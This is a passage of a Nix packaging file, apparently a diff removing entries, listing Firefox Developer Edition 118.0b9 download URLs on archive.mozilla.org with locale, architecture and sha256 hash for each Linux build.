"https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/kk/firefox-118.0b9.tar.bz2"; - locale = "kk"; - arch = "linux-x86_64"; - sha256 = "f9d8d2906874947df31a9b568babc0f0f4470d442f3296ca744c45c0d7c214e5"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/km/firefox-118.0b9.tar.bz2"; - locale = "km"; - arch = "linux-x86_64"; - sha256 = "afd9c675a86d6d043534c070344d6614831e4abcafd24a98e8d6664da3b853d0"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/kn/firefox-118.0b9.tar.bz2"; - locale = "kn"; - arch = "linux-x86_64"; - sha256 = "fe93e6dcca7fcb014c53ebc94a9e3d81f5104cf3af22aad1e59c90b75fc3b838"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/ko/firefox-118.0b9.tar.bz2"; - locale = "ko"; - arch = "linux-x86_64"; - sha256 = "0ad8b6273fc217d1e1d9975c1b496f9f1416346417bfe5ea2d2a98f60f8f1186"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/lij/firefox-118.0b9.tar.bz2"; - locale = "lij"; - arch = "linux-x86_64"; - sha256 = "cb7981d47db571e7490dcfbffa337987dfe51ed243744d95c957be665c505804"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/lt/firefox-118.0b9.tar.bz2"; - locale = "lt"; - arch = "linux-x86_64"; - sha256 = "a5249de84d87e71c729cbf986bb064f61a88839021740bd799e159bb550b1175"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/lv/firefox-118.0b9.tar.bz2"; - locale = "lv"; - arch = "linux-x86_64"; - sha256 = "c835237ad71ed561ff882afcc7f4350bc942a44ec65c3eaadc5716a0664a6b93"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/mk/firefox-118.0b9.tar.bz2"; - locale = "mk"; - arch = "linux-x86_64"; - sha256 = "178dd017f2770e7770639a2a128411d5ac8dd7d1a46172453598285f714a8132"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/mr/firefox-118.0b9.tar.bz2"; - locale = "mr"; - arch = "linux-x86_64"; - sha256 = "876fb7dfbbfbdd991b42059b95a562f2b3d2e713cdfd30a195bd3606ad79c4e5"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/ms/firefox-118.0b9.tar.bz2"; - locale = "ms"; - arch = "linux-x86_64"; - sha256 = "2bdeb6b26779eee615ef2ee3fcdf79c50d3098dfb5a0a6e71721c21964b18ec0"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/my/firefox-118.0b9.tar.bz2"; - locale = "my"; - arch = "linux-x86_64"; - sha256 = "50dfce52b2ed41dd399369efb944c2890f1987ddf07e7c7136ee745b9a6cd7cc"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/nb-NO/firefox-118.0b9.tar.bz2"; - locale = "nb-NO"; - arch = "linux-x86_64"; - sha256 = "6f69c9df74f3e13009469ebeb6d9b4e9a26065cb9cf92b9d9ce71c8243de864c"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/ne-NP/firefox-118.0b9.tar.bz2"; - locale = "ne-NP"; - arch = "linux-x86_64"; - sha256 = "6170a932880dc5cc86a5e7f78048e7e3248ff3bd11368c0e6d1c49fcdd7deb6e"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/nl/firefox-118.0b9.tar.bz2"; - locale = "nl"; - arch = "linux-x86_64"; - sha256 = "c47de0754f87bf698c0848f7f9207795cfdfc74a0187dcdcc829a38013bf3fcc"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/nn-NO/firefox-118.0b9.tar.bz2"; - locale = "nn-NO"; - arch = "linux-x86_64"; - sha256 = "953ffba4bdf5148162ffb1e3cf3766168c82d73948bd528c88f045b315f051c2"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/oc/firefox-118.0b9.tar.bz2"; - locale = "oc"; - arch = "linux-x86_64"; - sha256 = "a094a3823ae328761228e1e91b9da5fad4cec83b7e50c2b9cf5c9418fda73c12"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/pa-IN/firefox-118.0b9.tar.bz2"; - locale = "pa-IN"; - arch = "linux-x86_64"; - sha256 = "03185fbdd8df2d3d931801be0fc45b151684cb6816866a7551b22af1a646f722"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/pl/firefox-118.0b9.tar.bz2"; - locale = "pl"; - arch = "linux-x86_64"; - sha256 = "ee4f3e2d56e84bd30e6bf1f28fa98a8a70ac9b2ced98a76e0bddcc151b2683c2"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/pt-BR/firefox-118.0b9.tar.bz2"; - locale = "pt-BR"; - arch = "linux-x86_64"; - sha256 = "8df58218e900df226188582aef2c278dcfd30c3f36552bb041fff712681b8df1"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/pt-PT/firefox-118.0b9.tar.bz2"; - locale = "pt-PT"; - arch = "linux-x86_64"; - sha256 = "6bcebcfda5ac9f1bbed03566caf548218dca309829481e4ee37075ec1a617de0"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/rm/firefox-118.0b9.tar.bz2"; - locale = "rm"; - arch = "linux-x86_64"; - sha256 = "506ff87af0f0c8c933182b03a29560dc68e623cfd136b683b8469e6d11e34275"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/ro/firefox-118.0b9.tar.bz2"; - locale = "ro"; - arch = "linux-x86_64"; - sha256 = "11e0d4010e80366863f3897476c26511bac41e4c68e85bcc20044d6a958414ff"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/ru/firefox-118.0b9.tar.bz2"; - locale = "ru"; - arch = "linux-x86_64"; - sha256 = "e9f56d75d908f26fed24edf78000912dc897960e2d25aab9df1d7547ce4c8d8c"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/sc/firefox-118.0b9.tar.bz2"; - locale = "sc"; - arch = "linux-x86_64"; - sha256 = "48adfd528e80ebcc01632c3d3313e5418510d3d72d99a945844e00d247cb60fc"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/sco/firefox-118.0b9.tar.bz2"; - locale = "sco"; - arch = "linux-x86_64"; - sha256 = "1ed5371e3a04eb40cc6b75097135985586ab26000a1600c28939d424df5f2450"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/si/firefox-118.0b9.tar.bz2"; - locale = "si"; - arch = "linux-x86_64"; - sha256 = "aab2fdeda2ccf3605d51857ecd7005da043b471ef3de91211111c6c04f0a81ed"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/sk/firefox-118.0b9.tar.bz2"; - locale = "sk"; - arch = "linux-x86_64"; - sha256 = "b3251ba76819d35b26da24080c049f005d43e63ceb863254a61f4f5feefdaf88"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/sl/firefox-118.0b9.tar.bz2"; - locale = "sl"; - arch = "linux-x86_64"; - sha256 = "b40d690aeece4a09d994597879a5625568a8dce44f8c87835256c555acfc40b5"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/son/firefox-118.0b9.tar.bz2"; - locale = "son"; - arch = "linux-x86_64"; - sha256 = "06272721d3e81d27ab3cca0845786ac22dfdd70cf695730ff56c3749b7f94431"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/sq/firefox-118.0b9.tar.bz2"; - locale = "sq"; - arch = "linux-x86_64"; - sha256 = "29da477b4af2a4e22129331ee8a231bf6104085ecc0918d0fc7870dab0d4a56d"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/sr/firefox-118.0b9.tar.bz2"; - locale = "sr"; - arch = "linux-x86_64"; - sha256 = "ab7d20c85ed8b79d86042839d0929098882a075db3aef476fab155f2e00723f3"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/sv-SE/firefox-118.0b9.tar.bz2"; - locale = "sv-SE"; - arch = "linux-x86_64"; - sha256 = "7ad161e52d3902f6991946457b373c576bef6c8e57576a3858f22da6b4d9d961"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/szl/firefox-118.0b9.tar.bz2"; - locale = "szl"; - arch = "linux-x86_64"; - sha256 = "6ddd10980890a1d718fc11dc884080573f7e0bd177dc2434c0d62bc653568315"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/ta/firefox-118.0b9.tar.bz2"; - locale = "ta"; - arch = "linux-x86_64"; - sha256 = "9bff70db3a4e82d1c88ac484269db863db91bdc9acbbc623d421f578df78a173"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/te/firefox-118.0b9.tar.bz2"; - locale = "te"; - arch = "linux-x86_64"; - sha256 = "fb56f9d843379c08a7093c83ffff1d203f6c4893280fe3a61c392ac498a717b4"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/tg/firefox-118.0b9.tar.bz2"; - locale = "tg"; - arch = "linux-x86_64"; - sha256 = "5feec8a1ba01e1201301d51a1b55b5a4e77d79511d9a701674fda4e733eb8db9"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/th/firefox-118.0b9.tar.bz2"; - locale = "th"; - arch = "linux-x86_64"; - sha256 = "5dcac416794969756ea403f6ef76ba8414a43a2f3b8601c5171b12c27597585b"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/tl/firefox-118.0b9.tar.bz2"; - locale = "tl"; - arch = "linux-x86_64"; - sha256 = "9a734be40c279c8327df76c91cb1e5c81558c06de63962d8604c4091439440cb"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/tr/firefox-118.0b9.tar.bz2"; - locale = "tr"; - arch = "linux-x86_64"; - sha256 = "6679603f9baffaab9b5ed34f20d41f9094a764e879d9a6c76bd45857798b4ee4"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/trs/firefox-118.0b9.tar.bz2"; - locale = "trs"; - arch = "linux-x86_64"; - sha256 = "2c61bc81bee412abcd4de08287f36e3326c196513e97cce9be9cf75ec7fb5189"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/uk/firefox-118.0b9.tar.bz2"; - locale = "uk"; - arch = "linux-x86_64"; - sha256 = "3ced0aa2e9a142ee441d798a47ec9a08e3fa741cbfe9d3f124088ccd05a3d64b"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/ur/firefox-118.0b9.tar.bz2"; - locale = "ur"; - arch = "linux-x86_64"; - sha256 = "e48e0fb6d5fd25fe3cfbeec26ad1196465c77e699977adaf4d71e19fbe83ff0a"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/uz/firefox-118.0b9.tar.bz2"; - locale = "uz"; - arch = "linux-x86_64"; - sha256 = "ea0458ae76e50dddd4bb5966846e5cfcabfb2d4cc8884c9a00d234ecda6aef6a"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/vi/firefox-118.0b9.tar.bz2"; - locale = "vi"; - arch = "linux-x86_64"; - sha256 = "7f67f1a6fd898710900a1b9e1bcd04aa8730249257472265766c5424a1865607"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/xh/firefox-118.0b9.tar.bz2"; - locale = "xh"; - arch = "linux-x86_64"; - sha256 = "5db4ee24e2c2646b7b61e8a453953558e84ff59c51cd70d5937ae3e114d3d8d2"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/zh-CN/firefox-118.0b9.tar.bz2"; - locale = "zh-CN"; - arch = "linux-x86_64"; - sha256 = "632595f56ec4cfc803ae94e98f7961823f496553038261800d9d89a344039788"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-x86_64/zh-TW/firefox-118.0b9.tar.bz2"; - locale = "zh-TW"; - arch = "linux-x86_64"; - sha256 = "f3ba20b6488df608275882b037de062efe5a69290e1ecd96536caaea0477c871"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/ach/firefox-118.0b9.tar.bz2"; - locale = "ach"; - arch = "linux-i686"; - sha256 = "e53aca0cdb3d26a83047e5af4f3d522fa5b7dd3ac6352ac19a0de638d7ba0bd5"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/af/firefox-118.0b9.tar.bz2"; - locale = "af"; - arch = "linux-i686"; - sha256 = "39f804678212819ff35bfa34ef6c06eebf10c033d72f2cbd272a95d7c05e74ba"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/an/firefox-118.0b9.tar.bz2"; - locale = "an"; - arch = "linux-i686"; - sha256 = "ab1d0ff00c249ca13f2f2404f580604c00b1cddba1190d07c3daac2ca11e747e"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/ar/firefox-118.0b9.tar.bz2"; - locale = "ar"; - arch = "linux-i686"; - sha256 = "a9e20580dad651b5f5516d6c62636a25a2d3b5d18152c6fa3e6a139cb68eb8e6"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/ast/firefox-118.0b9.tar.bz2"; - locale = "ast"; - arch = "linux-i686"; - sha256 = "234c6a23011440288f389287c048552df3e2757e38b3aa3b4a8eef2d65d13cd0"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/az/firefox-118.0b9.tar.bz2"; - locale = "az"; - arch = "linux-i686"; - sha256 = "c4e8561139014ea6d1a633858c2dc0c503c919634ec435895a87ec53794b9931"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/be/firefox-118.0b9.tar.bz2"; - locale = "be"; - arch = "linux-i686"; - sha256 = "972ff1a80a47ff5e743d09b96a8baad7a12742a554d10503880b0f4cf887d033"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/bg/firefox-118.0b9.tar.bz2"; - locale = "bg"; - arch = "linux-i686"; - sha256 = "782e776efead868840d137e524b66811db8942354cb690d062c5d2fac19fc20a"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/bn/firefox-118.0b9.tar.bz2"; - locale = "bn"; - arch = "linux-i686"; - sha256 = "d30f3ef788be926fb4e89ae167fda01351ca7643ab2b0870edce061ec731cec2"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/br/firefox-118.0b9.tar.bz2"; - locale = "br"; - arch = "linux-i686"; - sha256 = "3c9ea3db020b08495449df487711b98601e39cd983a2f0e3f7661371654ce7fe"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/bs/firefox-118.0b9.tar.bz2"; - locale = "bs"; - arch = "linux-i686"; - sha256 = "8ec9d497c5c1aa8032bfd6eb3b4619716935d67d4054363d1b14f5dac5da832c"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/ca-valencia/firefox-118.0b9.tar.bz2"; - locale = "ca-valencia"; - arch = "linux-i686"; - sha256 = "ab80b0b8cd657917135b7d44b0033daab60827bec9e65661fb9e9a02d4e4225d"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/ca/firefox-118.0b9.tar.bz2"; - locale = "ca"; - arch = "linux-i686"; - sha256 = "0f5517aa454bf7307ebb2015375f96f56f59e9c24cf7f9735cb6c7619aade466"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/cak/firefox-118.0b9.tar.bz2"; - locale = "cak"; - arch = "linux-i686"; - sha256 = "f18dc8b6977293f6a82246f34d455567b857edb937fae5109754e780c1991407"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/cs/firefox-118.0b9.tar.bz2"; - locale = "cs"; - arch = "linux-i686"; - sha256 = "ff20177ebf601903556239f6a2b4414f9f209912f0f6bbf7320e63a09b8c31f6"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/cy/firefox-118.0b9.tar.bz2"; - locale = "cy"; - arch = "linux-i686"; - sha256 = "6afb79342ddb53e568598e0dea754e67135ce3cc1eb3f7f4cc5c8f9269218933"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/da/firefox-118.0b9.tar.bz2"; - locale = "da"; - arch = "linux-i686"; - sha256 = "2d56583c30fab008ff132164af35f43d9578bfc1b13e6fa17cd0954e1a480844"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/de/firefox-118.0b9.tar.bz2"; - locale = "de"; - arch = "linux-i686"; - sha256 = "6f7f12168bfabe787d36a8ec4d7d5f05c5679543e2f909ae4f4fd0c311ef7c66"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/dsb/firefox-118.0b9.tar.bz2"; - locale = "dsb"; - arch = "linux-i686"; - sha256 = "abcd8efd958fb4cd07d7b6f163851630fccff3abf2e0cbe40430e48ef9c3df2d"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/el/firefox-118.0b9.tar.bz2"; - locale = "el"; - arch = "linux-i686"; - sha256 = "f5f2ff34cdfd9cabefd3f068d8086db804b045b242ebea4ad416510e031551e9"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/en-CA/firefox-118.0b9.tar.bz2"; - locale = "en-CA"; - arch = "linux-i686"; - sha256 = "1645f59cc9db80ed34dbb45c5e1ff9b270160c38b50548b34b580c7e68f45497"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/en-GB/firefox-118.0b9.tar.bz2"; - locale = "en-GB"; - arch = "linux-i686"; - sha256 = "5c5b1872e5965fb6c7c52e70af233d1cb39b6b9845129ed6bed19f5a716f69c9"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/en-US/firefox-118.0b9.tar.bz2"; - locale = "en-US"; - arch = "linux-i686"; - sha256 = "a7b405ad4f8d60519efc6f5433318f2f4cac6a898300dd9e06ec9a38a00e7d9f"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/eo/firefox-118.0b9.tar.bz2"; - locale = "eo"; - arch = "linux-i686"; - sha256 = "f88898bf1efcdce421e7f8ab0389ee257d588b7a93362f685cebdf24f2e460b7"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/es-AR/firefox-118.0b9.tar.bz2"; - locale = "es-AR"; - arch = "linux-i686"; - sha256 = "50dbdd2d36387e51bf7534a4e661c4b62381ceb2a727e35e2a88bda96679209f"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/es-CL/firefox-118.0b9.tar.bz2"; - locale = "es-CL"; - arch = "linux-i686"; - sha256 = "8796f21f065495a93f853133a208acd2aa91d58e2c9029fb1f8262ed1ee09014"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/es-ES/firefox-118.0b9.tar.bz2"; - locale = "es-ES"; - arch = "linux-i686"; - sha256 = "a551586853ad5923ca09e7d77b69b220779dca77c36e37f5176a4393c65a0032"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/es-MX/firefox-118.0b9.tar.bz2"; - locale = "es-MX"; - arch = "linux-i686"; - sha256 = "f7a442484fd8396d7480f2f1b719deac03bac92bd7bfa23692e6590dc6db7cf9"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/et/firefox-118.0b9.tar.bz2"; - locale = "et"; - arch = "linux-i686"; - sha256 = "0eb1aad68e73481e6dd4948c3d691aba69d698a9819f4eba8e7e7dfbe9c436ae"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/eu/firefox-118.0b9.tar.bz2"; - locale = "eu"; - arch = "linux-i686"; - sha256 = "b19858b2e0654bc88489cce8a10e6ed31f701ef8aa515390d8c5865315bd81f7"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/fa/firefox-118.0b9.tar.bz2"; - locale = "fa"; - arch = "linux-i686"; - sha256 = "292424afc766be9006b594ce777cf5f710a445c38410350aabe3e7bb4ce7bca1"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/ff/firefox-118.0b9.tar.bz2"; - locale = "ff"; - arch = "linux-i686"; - sha256 = "e6e69e6d7f8bccb2f4b3d32c5b48c3b1a677a92e0792a31527543bd234169103"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/fi/firefox-118.0b9.tar.bz2"; - locale = "fi"; - arch = "linux-i686"; - sha256 = "02f5d399cc2e14f08ca2e323b38915aadd686eaf7d5f33a23eaeeae40b864631"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/fr/firefox-118.0b9.tar.bz2"; - locale = "fr"; - arch = "linux-i686"; - sha256 = "1b587b32e2d5095907fc8d392f82973075453d9b830de5b28266eba34694d305"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/fur/firefox-118.0b9.tar.bz2"; - locale = "fur"; - arch = "linux-i686"; - sha256 = "e9104d5c05c2728a9027f81d7709401b14d0d3f681b9c917448c5d28fe19c1d8"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/fy-NL/firefox-118.0b9.tar.bz2"; - locale = "fy-NL"; - arch = "linux-i686"; - sha256 = "0bffc1fc0b09c9b4c260e0195f1eb8ec8d0bc198598e1903262c9dbe955d91c0"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/ga-IE/firefox-118.0b9.tar.bz2"; - locale = "ga-IE"; - arch = "linux-i686"; - sha256 = "019b3602f776f2e56f477be73e9f68297fdc63feea906c95c20ec64f008474df"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/gd/firefox-118.0b9.tar.bz2"; - locale = "gd"; - arch = "linux-i686"; - sha256 = "cd96ce395bd3f288052bfa02f13e61c2ea26daee744b255d5ce1c7542244ef7b"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/gl/firefox-118.0b9.tar.bz2"; - locale = "gl"; - arch = "linux-i686"; - sha256 = "1d16b36daee3ba95477edf934f44ea52ae4f02edc554a42d6614d1d0b919d695"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/gn/firefox-118.0b9.tar.bz2"; - locale = "gn"; - arch = "linux-i686"; - sha256 = "0074d580db405791504448fc006848c7ff9530fc1895f8dd95dc69c0c06baae7"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/gu-IN/firefox-118.0b9.tar.bz2"; - locale = "gu-IN"; - arch = "linux-i686"; - sha256 = "86f21ca517c89fab3e1a5703cf880a1a9b79fa0bef16e810f13746e9a59ac698"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/he/firefox-118.0b9.tar.bz2"; - locale = "he"; - arch = "linux-i686"; - sha256 = "704c8c1b12ca2227e4dbd89f51c9fac7a2769f7f0d81ddc11b40e2a8fa869681"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/hi-IN/firefox-118.0b9.tar.bz2"; - locale = "hi-IN"; - arch = "linux-i686"; - sha256 = "3a2fc246b14ee2d712e7c37e568024bf314ee1dfeef8cdb0f668acc1a9aa7ca9"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/hr/firefox-118.0b9.tar.bz2"; - locale = "hr"; - arch = "linux-i686"; - sha256 = "bb4b8af71da2fb4ee21c9ae79cab7c76f06cb2a2aa63dde5412f905eeda02902"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/hsb/firefox-118.0b9.tar.bz2"; - locale = "hsb"; - arch = "linux-i686"; - sha256 = "2cfc44287cadc041419c487a2dc4809676d54703fd7526b2478f1769cf7295bf"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/hu/firefox-118.0b9.tar.bz2"; - locale = "hu"; - arch = "linux-i686"; - sha256 = "3ce46f795d287ec4a8dba73dc3f154fbdbf49e36458bf8f44b8fa889ee8e9f25"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/hy-AM/firefox-118.0b9.tar.bz2"; - locale = "hy-AM"; - arch = "linux-i686"; - sha256 = "b5d4b2bf65501a2a062d6d33cb8ec79fa3b1ea96d3dee8276fcfe90466b75f9f"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/ia/firefox-118.0b9.tar.bz2"; - locale = "ia"; - arch = "linux-i686"; - sha256 = "57a39b1ee524b64b3fc02bd6022b18b9ccb78c188b6a00c175a9591a9f34cb4c"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/id/firefox-118.0b9.tar.bz2"; - locale = "id"; - arch = "linux-i686"; - sha256 = "0e21bec921bca716fac98ac7372bbd0f4e08730038527dd1a3f8d2368649affb"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/is/firefox-118.0b9.tar.bz2"; - locale = "is"; - arch = "linux-i686"; - sha256 = "cfec6f29a76b1fdbc24fb2b62878bf219bc62d4ba49b84ac74644d32d663ff40"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/it/firefox-118.0b9.tar.bz2"; - locale = "it"; - arch = "linux-i686"; - sha256 = "8de32508ec96dfb9aeee42b3ddf165d39347af836328dd327fc085ab63ab629e"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/ja/firefox-118.0b9.tar.bz2"; - locale = "ja"; - arch = "linux-i686"; - sha256 = "da471e323d0788b4f9469064231c1a30121e0c372109b4ceefb293f360837c1d"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/ka/firefox-118.0b9.tar.bz2"; - locale = "ka"; - arch = "linux-i686"; - sha256 = "48f04b5e1e955ba528e4d31e51dd407e115ccf83da381f22ab6f592232fb1ffd"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/kab/firefox-118.0b9.tar.bz2"; - locale = "kab"; - arch = "linux-i686"; - sha256 = "23e6959f1f8c5de089ea4dcccbe366d383eff584dd1b5a76ff5c27e58626ea9f"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/kk/firefox-118.0b9.tar.bz2"; - locale = "kk"; - arch = "linux-i686"; - sha256 = "d999fa29de25472206bc07d6696e60c6c43d214427cd98bf8a1bb07a063fa550"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/km/firefox-118.0b9.tar.bz2"; - locale = "km"; - arch = "linux-i686"; - sha256 = "f8d483c51e862cbc5b79672224fc534adad16875bca2ca2b3cbf56a43acc9114"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/kn/firefox-118.0b9.tar.bz2"; - locale = "kn"; - arch = "linux-i686"; - sha256 = "23c8e223d4285020c2eedbff9a21259c3363b4e36491f628e83b182cf2d359d0"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/ko/firefox-118.0b9.tar.bz2"; - locale = "ko"; - arch = "linux-i686"; - sha256 = "452de5fd6c913659f988ea8e8b8ca10fa3e8738bab9d26bb0452bdbcb56dd81e"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/lij/firefox-118.0b9.tar.bz2"; - locale = "lij"; - arch = "linux-i686"; - sha256 = "71007a608ebfb0f2937e149123ae1204ceef85d8a129b57d1b89f6cdaacdc7e7"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/lt/firefox-118.0b9.tar.bz2"; - locale = "lt"; - arch = "linux-i686"; - sha256 = "5f82e611188581d38c8db1d03a253ab10c3e4805451276e4714635d0fd509fdc"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/lv/firefox-118.0b9.tar.bz2"; - locale = "lv"; - arch = "linux-i686"; - sha256 = "f7df8dbad4c91aa2d5c402487bc8a266ccd3477b44fc58f860f509aac9e0d78b"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/mk/firefox-118.0b9.tar.bz2"; - locale = "mk"; - arch = "linux-i686"; - sha256 = "ab8b6a5f9ef8bced0591968dc123c89bee4d9a7be29e0387255cb716a460c491"; - } - { url = "https://archive.mozilla.org/pub/devedition/releases/118.0b9/linux-i686/mr/firefox-118.0b9.tar.bz2"; - locale = "mr"; - arch = "linux-i686"; - sha256 = "74d9e514e9f6086b30a843b11cd02e872c5d10bb9e991d2e00e67581bd2ca0c7"; - } - { url = 